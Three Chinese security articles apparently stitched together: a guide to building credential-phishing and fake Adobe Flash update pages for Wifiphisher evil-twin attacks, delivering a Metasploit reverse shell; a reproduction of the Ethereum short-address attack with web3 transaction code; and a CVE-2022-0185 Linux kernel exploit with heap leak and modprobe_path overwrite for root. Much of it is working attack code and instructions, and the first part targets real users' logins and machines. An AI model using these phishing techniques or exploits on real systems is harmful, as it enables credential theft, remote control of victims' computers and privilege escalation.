使用Wifiphisher几个星期后，我认为添加更多的钓鱼场景到它的武器库将是一件好事。不幸的是，由于版权原因，Wifiphisher不能包含任何第三方材料（如徽标或专有模板）;
所以没有流行的社交媒体网站的钓鱼网页
但是，由于我无意在Github上发布这个修改版本，所以我认为这样做还是可以的。
创建网络钓鱼页面通常很简单; 将原始的钓鱼页面下载到您的系统上，并修改页面的登录表单以收集凭据。
与Wifiphisher，唯一的缺点是，正在执行的攻击时，BOTH其经营者（你），目标将失去互联网连接，这意味着所有的网络钓鱼网页需要是独立的，即它们不能依赖于任何在线资源。幸运的是，使用wget下载他们的所有要求的网页将会非常简单：
$ wget -E -H -k -K -p <insert URL here>
运行这个应该得到所有的文件你需要设置你的钓鱼页面。我将这篇文章使用LinkedIn的登录页面。
Wifiphisher 通过记录以字符串“ wfphshr ”
为前缀的所有POST请求来以捕获凭据，这意味着我们必须在我们的网页中编辑用户名/电子邮件和密码字段，并将其附加到“ wfphshr ” 。
前缀可以是任何你想要的，只要Wifiphisher的代码和网页中的前缀是统一的。登录表单方法也必须是POST请求，而且现在几乎请求方法都是这样。最后，我们将新的网络钓鱼选项添加到Wifiphisher的菜单中。就是这样,需要准备一个使用的钓鱼页面，现在我只需要重复所有想要添加的场景的过程。从那以后，我改变了Wifiphisher的钓鱼页面菜单，我添加包括所有的网络钓鱼的选项。
**测试**
1.运行Wifiphisher并选择最强的接口。
注意：我还修改了Wifiphisher的界面选择菜单。如果运行不带任何参数,Wifiphisher将自动选择最强大的无线接口作为干扰界面。它通过扫描在该地区所有无线网络所有可用的无线适配器,无线网络接口,可检测最被选为干扰界面。
这是好的和工作相当好于大多数运行，但我发现，在一些场合，错误的（弱）接口将被选中。如果选择了这一些接口，攻击阶段可能提示运行失败，因为大多数情况下，笔记本电脑内置的网络适配器不支持数据包注入。你仍然可以用手动指定的参数运行Wifiphisher干扰界面,但我仍然想要改变默认运行选项使用手动界面选择。选择我是受Wifite的接口。
2.选择一个网络钓鱼场景
3.选择一个WiFi网络的目标，并等待Wifiphisher启动假的AP。
4.目标开始连接到你的evil twin
目标方：无论他们浏览的网站如何，目标都会为您选择的网络钓鱼页面提供服务。
收获凭证
注意：我也不得不修改Wifiphisher的请求处理程序。它配置为在1个用户输入凭据后自动关闭。但是，由于我希望能够收集超过1个用户的凭据，所以我删除了自动关机。
**进一步说**
如果我们在一个目标上能够显示任何网站页面，而他们能成功地连接到我们的假冒AP，那为什么不能成为有这么一个页面，其建议他们下载并安装一些“ 有用”
的软件？选择个大家最喜欢的的Adobe Flash Player？
1.首先下载安装Adobe Flash Player页面
2.接下来，我们将下载按钮指向我们系统上托管的文件（adobe_ update.exe）。我们还将重写页面的文字，以说服我们的目标下载更新文件。
3.准备payload。有无数的方法可以做到这一点，我现在无法进入各种可用的选择。所以在这篇文章中，我会用shellter生成Metasploit的反弹shell的payload到任何Windows可执行文件。你可以改变可执行文件的图标Adobe的标志，使其更有说服力。
4.启动Wifiphisher 并选择有效载荷下载选项。当选择“Adobe Flash Update”
方案时，我添加了有效载荷选择提示。我们在这里所做的一切都是给我们准备的有效载荷的完整路径。
5.等待目标连接到我们。
6.目标方：目标服务器是Adobe 更新页面，当他们尝试浏览并确信下载并安装更新。我们甚至将我们的目标扫描与他们的AV首先，以防万一更新是不合法的。
7.目标运行更新文件，我们拿到反弹的shell
注意：我建议使用连接到公共Metasploit侦听器的payload，所以当你关闭你的假冒ap，无论用户连接到下一个网络，你将成功获得一个shell。
**结论**
在捣鼓Wifiphisher的时候发现了很多乐趣。我是不是能贡献任何的情景在这个岗位到正式版
，因为所有潜在的侵犯版权前面提到过，但我没有贡献一个通用的无版权的有效载荷的下载情况。如果您想自己尝试上面的有效负载攻击，可以在官方的Wifiphisher中查看“浏览器插件更新”情景。 | 社区文章 |
# 遗忘的亚特兰蒂斯：以太坊短地址攻击详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
by yudan@慢雾安全团队
## 0x00 概述
说到智能合约漏洞，第一时间映入脑海的可能都是算法溢出，call()函数滥用，假充值等漏洞，毕竟这是在很多智能合约上都有实例，并且危害等级也是比较高的，但是有一个漏洞也许很多人都见过、听过却不是很多人都关心的漏洞，它就像是人类世界的亚特兰蒂斯，很多人知道，却很少有研究报告，Google
上能找到的，也不过只是说原理而没有复现实战，有点纸上谈兵的感觉。大家都知道的是这是 EVM
层面的缺陷，而不是智能合约层面的问题，并且在我们默认的思维里面，这是一个已经被修复的漏洞。前段时间尝试翻查短地址攻击的官方修复方案，但是经过我的搜索，并没有找到相关的修复方案，Github
上也扒了一遍，也看不到历史 release 有相关的修复，于是，我猜，真的是我猜，EVM 层面可能并没有修复。
## 0x01 短地址攻击基础知识
短地址攻击其实就是每个 ERC20 的合约里面都有一个以下的函数
function transfer(address _to, uint256 _value) returns (bool success)
当对合约的这个函数进行调用的时候，其实在 EVM 层面来说是传入一串字节码,就像下图这样，可以在 Etherscan 里面查看每笔交易的 inputdata
里面的整个函数的调用数据
传入的字节码一共有 136 字节(正常来说)，里面包含方法的签名(前 4 字节),和传入的参数值（数据部分，包括传入的地址数据和金额数据，分别都为 32
字节，高位补零）。上面这个图是不正常的，只有 134 字节，这是我经过特殊处理过的，下面我会详细说
从上面的信息我们可以知道，EVM
是根据字节码识别传入的参数的，字节码是多少就是多少，也不会去验证。巧了，就是这样，漏洞就产生了，有人就想用不合法的地址，比如地址故意写少后几位，看看 EVM
会怎么处理，但是又巧了，EVM
不仅不会报错，还会“贴心”的帮你对地址进行补全操作，怎么补全的呢？就是将地址后面不足的部分，用金额数据部分的位数来补全，比方说你的地址本来是
0x1234567890123456789012345678901234567800
结果由于你心机叵测，故意写少两个 0，变成下面这样
0x12345678901234567890123456789012345678
那么“贴心”的 EVM 就会从字节码中的金额数据部分取两位对地址进行补全,而金额数据部分的前两位又恰好是
0，那么就是说你的地址还是原来的地址，但是数据部分就少 2 位了，怎么办呢？这就不符合 ABI 的字节数啦，没关系，“贴心”的 EVM
会将你的金额数据部分从末位开始补 0，补到为正常的 136 字节为止，那么有同学就要问了，如果我的地址有 6 个 0，那么我地址故意写少 6 个
0，是不是数据部分就多了 6 个 0？那不是发财了？
**答案就是：你是对的**
也就是说，本来填的数据是 1，变成字节码后是 0x1，如果地址少了 6 个字节，那么你的 data 就自动变成 0x1000000 啦！惊不惊喜，意不意外！
## 0x02 第一次出师
第一次我尝试使用 remix 进行复现，但结果是能预料到失败的，如下图，为什么呢？因为这是一个在 2017
年就被爆出的漏洞，修复方案满天飞，怎么可能那么简单的就让你成功了呢，所以前端肯定会对你的输入的地址进行过滤和检查，想成功，是 naive 的。
但是作为一个搞事情的人，怎么可以轻言放弃，既然没有找到官方修复方案，底层肯定就还有问题的，于是乎，我只能从最底层开始进行操作，我想到了使用 web3
进行漏洞复现
## 0x03 环境准备
1、操作系统：macOS
2、node : v8.11.0
3、web3:1.0.0-beta.36
4、rpc:infura
5、测试合约的 abi
6、示例合约：
pragma solidity ^0.4.24;
contract Test{
uint totalSupply = 1e18;
mapping(address => uint) balance;
event TransferTo(address to,uint value);
constructor() public {
balance[msg.sender] = totalSupply;
}
function transferTo(address _to,uint _value) public {
balance[msg.sender] -= _value;
balance[_to] += _value;
emit TransferTo(_to,_value);
}
function BalanceOf(address _owner) view returns(uint){
return balance[_owner];
}
}
7、使用 remix 在测试网部署示例合约，获取合约的地址，下面会用到
⚠获取 abi 的方法：
solc --abi Test.sol > abi.txt
## 0x04 第二次出师(⚠本次所有操作均在命令行中执行)
1、键入 node 进入命令行提示符
2、在项目中引入 web3 并设置 provider（怎么下载 web3 这里不展开说明，有兴趣的可以自己查找，一个很简单的操作）
var Web3 = require('web3')
var web3 = new Web3(new Web3.providers.HttpProvider('https://kovan.infura.io/v3/<你自己的infura id>'))
3、创建合约实例:
var MyContract = new web3.eth.Contract(abi.txt 里面的 abi)
4、构造方法 abi,也就是构造我们上面说的交易里面的
inputdata，由于我们是要构造短地址攻击，所以我们的地址是要比正常的地址的位数要少的，为的就是要让 EVM
用零自动补全缺失的地址，但是正常的构造是会失败的，例如下图这样
但是，再次声明一下，作为一个搞事情的人，不能轻言放弃！于是我们需要一点特别的方法，一开始的时候我到了这里就以为会有检测就不行了，太天真，其实是 web3
的检测，我们需要一点特别的方法。这个方法分为两步
第一步，先构造正常的 abi，这次使用的地址是 ‘0xdfca6234eb09125632f8f3c71bf8733073b7cd00’
var abi = MyContract.methods.transferTo('0xdfca6234eb09125632f8f3c71bf8733073b7cd00','123').encodeABI() //请记住这里我只写了 123，下面有惊喜
如图，现在的 abi，也就是 inputdata，是 136 字节的。
第二步：使用一个小技巧，将 abi 里面地址后面的两个零偷偷抹掉，本来是 136 字节的，现在只有 134 字节了，也就是我上面说到的不正常的
inputdata，就是在这个时候构造出来的
以上就是把零抹掉之后的 abi
ok，一切都准备好之后就可以到最激动人心的时刻了
5、在项目中引入 ethereumjs-tx（怎么下载的这里也不详细展开）
var Tx = require('ethereumjs-tx')
6、导入你的私钥并做一些处理:
privatekey = Buffer('你的私钥','hex')
7、构造原始交易数据，这是一笔十分原生的以太坊交易数据，每一次的合约调用，其实都会构造下面这一个数据。有关这方面的知识也不详细展开，但是，除了 nonce
我们是不怎么了解之外，其他都是我们在 remix 上调用合约的时候会接触到的，有关于 nonce
的说明，其实就是帐号所发送的交易数量，比方说你的帐号曾经处理过 5 笔交易，那么 nonce 就等于4（nonce 从 0 开始），可以在
ehterscan 上查看到你的帐号的最后一笔交易的 nonce，以下是具体的交易数据：
var parameter = { data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b',//上面构造的 abi,贴进来，只有 134 个字节
nonce: 174,//你发送交易的帐号的最后一笔交易的 nonce + 1
gasLimit: '0x2dc6c0',
gasPrice: '0x2540be400',
value: '0x0',
to: '0x6E2f32497a7da13907831544093D3Aa335eCbF33'//你部署的合约的地址
}
8、对交易进行签名和对交易做一点处理
var transaction = new Tx(parameter)//构建交易
transaction.sign(privatekey)//签名方法
var serializedTx = transaction.serialize()
9、发送交易
web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex'))
## 0x05 奇迹再现
通过预先设置的 event 事件我们可以看到，EVM 成功补零，输入本来是 123，但是 EVM 提取的结果却是 31488，本来的 16 进制 123 是
0x7b，现在是 0x7b00！刺激！
## 0x06 后记
“贴心”的我在测试网上也布了合约，而且我还验证了，可以在链上查询记录，眼见为实。
<https://kovan.etherscan.io/address/0x6e2f32497a7da13907831544093d3aa335ecbf33#code>
这次的操作，不禁使我想起了飞跃疯人院里面的那句话—But I tried, didn’t I? Goddamnit, at least I did
that.
## 0x07 参考资料
web3js 1.0 接口方法(中文手册)
<http://cw.hubwiz.com/card/c/web3.js-1.0/1/2/21/>
短地址攻击详解
<https://zhuanlan.zhihu.com/p/34470071>
有关 ABI 的详细信息在这里
<https://solidity-cn.readthedocs.io/zh/develop/abi-spec.html> | 社区文章 |
### 前言:
最近看到[will](https://www.willsroot.io/2022/01/cve-2022-0185.html)师傅的博客,里面提到了一种名为FUSE的技术,刚开始还以为这技术能用于kernel
pwn中,CTFer狂喜,没想到这技术只能用于真实环境中.因为FUSE这个模块在bzimage中只有root权限才能调用.在真实环境中没有影响.
### FUSE技术:
什么是[FUSE技术](https://www.maastaar.net/fuse/linux/filesystem/c/2016/05/21/writing-a-simple-filesystem-using-fuse/)?
简单来说,fuse实现了一个对文件系统访问的回调.
如题所示,通过hello程序把fuse文件系统挂载在/tmp/fuse目录下.此时如果在该目录中有相关操作时，请求会经过VFS到fuse的内核模块（上图中的步骤1），fuse内核模块根据请求类型，调用用户态应用注册的函数（上图中步骤2），然后将处理结果通过VFS返回给系统调用（步骤3）。[参考](https://zhuanlan.zhihu.com/p/59354174)
[fuse_operations](https://github.com/libfuse/libfuse/blob/6adcb719a933a31013c73fda8e0ccb0e13b45e58/include/fuse.h)结构如下
struct fuse_operations {
int (*getattr) (const char *, struct stat *);
int (*readlink) (const char *, char *, size_t);
int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t);
int (*mknod) (const char *, mode_t, dev_t);
int (*mkdir) (const char *, mode_t);
int (*unlink) (const char *);
int (*rmdir) (const char *);
int (*symlink) (const char *, const char *);
int (*rename) (const char *, const char *);
int (*link) (const char *, const char *);
int (*chmod) (const char *, mode_t);
int (*chown) (const char *, uid_t, gid_t);
int (*truncate) (const char *, off_t);
int (*utime) (const char *, struct utimbuf *);
int (*open) (const char *, struct fuse_file_info *);
int (*read) (const char *, char *, size_t, off_t,
struct fuse_file_info *);
int (*write) (const char *, const char *, size_t, off_t,
struct fuse_file_info *);
int (*statfs) (const char *, struct statvfs *);
int (*flush) (const char *, struct fuse_file_info *);
int (*release) (const char *, struct fuse_file_info *);
int (*fsync) (const char *, int, struct fuse_file_info *);
int (*setxattr) (const char *, const char *, const char *, size_t, int);
int (*getxattr) (const char *, const char *, char *, size_t);
int (*listxattr) (const char *, char *, size_t);
int (*removexattr) (const char *, const char *);
int (*opendir) (const char *, struct fuse_file_info *);
int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t,
struct fuse_file_info *);
int (*releasedir) (const char *, struct fuse_file_info *);
int (*fsyncdir) (const char *, int, struct fuse_file_info *);
void *(*init) (struct fuse_conn_info *conn);
void (*destroy) (void *);
int (*access) (const char *, int);
int (*create) (const char *, mode_t, struct fuse_file_info *);
int (*ftruncate) (const char *, off_t, struct fuse_file_info *);
int (*fgetattr) (const char *, struct stat *, struct fuse_file_info *);
int (*lock) (const char *, struct fuse_file_info *, int cmd,
struct flock *);
int (*utimens) (const char *, const struct timespec tv[2]);
int (*bmap) (const char *, size_t blocksize, uint64_t *idx);
int (*ioctl) (const char *, int cmd, void *arg,
struct fuse_file_info *, unsigned int flags, void *data);
int (*poll) (const char *, struct fuse_file_info *,
struct fuse_pollhandle *ph, unsigned *reventsp);
int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off,
struct fuse_file_info *);
int (*read_buf) (const char *, struct fuse_bufvec **bufp,
size_t size, off_t off, struct fuse_file_info *);
int (*flock) (const char *, struct fuse_file_info *, int op);
int (*fallocate) (const char *, int, off_t, off_t,
struct fuse_file_info *);
};
举个小栗子:(这里我直接用will大佬的文件了,以前我本地也可以的,后来环境出问题了重新安装了系统就不行了...)
//fuse.c
//gcc -no-pie -static fuse.c fakefuse.c util.c -I./libfuse libfuse3.a -o blue -masm=intel -pthread
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>
#include "fakefuse.h"
static const struct fuse_operations evil_ops = {
.getattr = evil_getattr,
.readdir = evil_readdir,
.read = evil_read,
};
char *fargs_evil[] = {"exploit", "evil", NULL };
int main(){
return fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
可以看到多了个文件系统
### 补丁:
diff --git a/fs/fs_context.c b/fs/fs_context.c
index de1985eae..a195e516f 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
### 漏洞分析:
#### poc:
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
可以看到linux成功panic
代码路径:
我们只需要关注[legacy_parse_param](https://elixir.bootlin.com/linux/v5.11/source/fs/fs_context.c#L502)就好
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
if (strcmp(param->key, "source") == 0) {
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Legacy: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Legacy: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}
if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
case fs_value_is_flag:
len += strlen(param->key);
break;
default:
return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
param->key);
}
if (len > PAGE_SIZE - 2 - size)//漏洞点
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size);//越界写
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
漏洞点就是size是无符号数,当size>PAGE_SIZE - 2时会导致 "PAGE_SIZE - 2 -size"变成一个很大的数(当初我这理解了好久...太笨了)
绕过这个判断之后,就会导致后面的memcpy函数越界写.而且会越界写到未申请的堆块上.
可以看到成功越界写
执行memcpy之前
执行memcpy之后
### leak:
leak用到了[msg_msg](https://www.anquanke.com/post/id/252558)结构.msg_msg结构网上其他师傅的分析写的很详细了,我这就不再赘述了.主要讲讲这里怎么leak:
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{
open("/proc/self/stat", O_RDONLY);
}
size = 0x1060;
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
1.用漏洞函数(这里指的是fsconfig系统调用)强相关的open函数(也就是fsopen系统调用)打开一个ext4文件系统,这时内核会调用[kmalloc](https://elixir.bootlin.com/linux/v5.11/source/fs/fs_context.c#L541)申请0x1000大小的内核堆(也就是legacy_data结构).
2.申请几个[msg_msg](https://elixir.bootlin.com/linux/v5.8/source/include/linux/msg.h#L9)结构,使msg_msg结构在内核中的大小为0x1000+0x20,这时msg_msg的包含size等关键信息的堆块大概率会在legacy_data结构的后面.
3.喷射大量[shm_file_data](https://elixir.bootlin.com/linux/v5.8/source/ipc/shm.c#L74)对象,shm_file_data是0x20大小的,大概率会落在msg_msg第二段消息结构的后面.
4.利用漏洞函数改大msg_msg结构的size
5.用msg_msg结构的[相关函数](https://elixir.bootlin.com/linux/v5.8/source/ipc/msg.c#L1265)进行读
### 利用fuse技术任意地址写modprobe_path完成提权:
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8);
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
send_msg(target, rooter, size - 0x30, 0);
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void *arb_write(void *args)
{
uint64_t goal = modprobe_path - 8;
char pat[0x1000] = {0};
memset(pat, 0x41, 29);
char evil[0x20];
memcpy(evil, (void *)&goal, 8);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
puts("[*] Done heap overflow");
write(fuse_pipes[1], "A", 1);
}
int evil_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
// change to modprobe_path
char signal;
char evil_buffer[0x1000];
memset(evil_buffer, 0x43, sizeof(evil_buffer));
char *evil = modprobe_win;
memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
if (offset >= len)
return size;
if (offset + size > len)
size = len - offset;
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1);
return size;
}
1.首先是fsopen系统调用.
2.然后是打开FUSE文件系统.并创建一个管道(pipe,主要是为了接下来的写)
3.申请两个相邻的页,其中打开的FUSE文件系统映射到第二个页
4.创建一个线程,这个线程里包含漏洞触发函数
5.尝试对FUSE文件系统进行读写,这时候会调用我们自定义的read函数.
6.自定义的read函数里尝试对管道进行写.
7.线程里触发漏洞函数,讲msg_msg结构的next指针覆盖成modprobe_path,并尝试对管道进行读.管道读的内容就被写进了modprobe_path里.
8.利用成功. | 社区文章 |
Subsets and Splits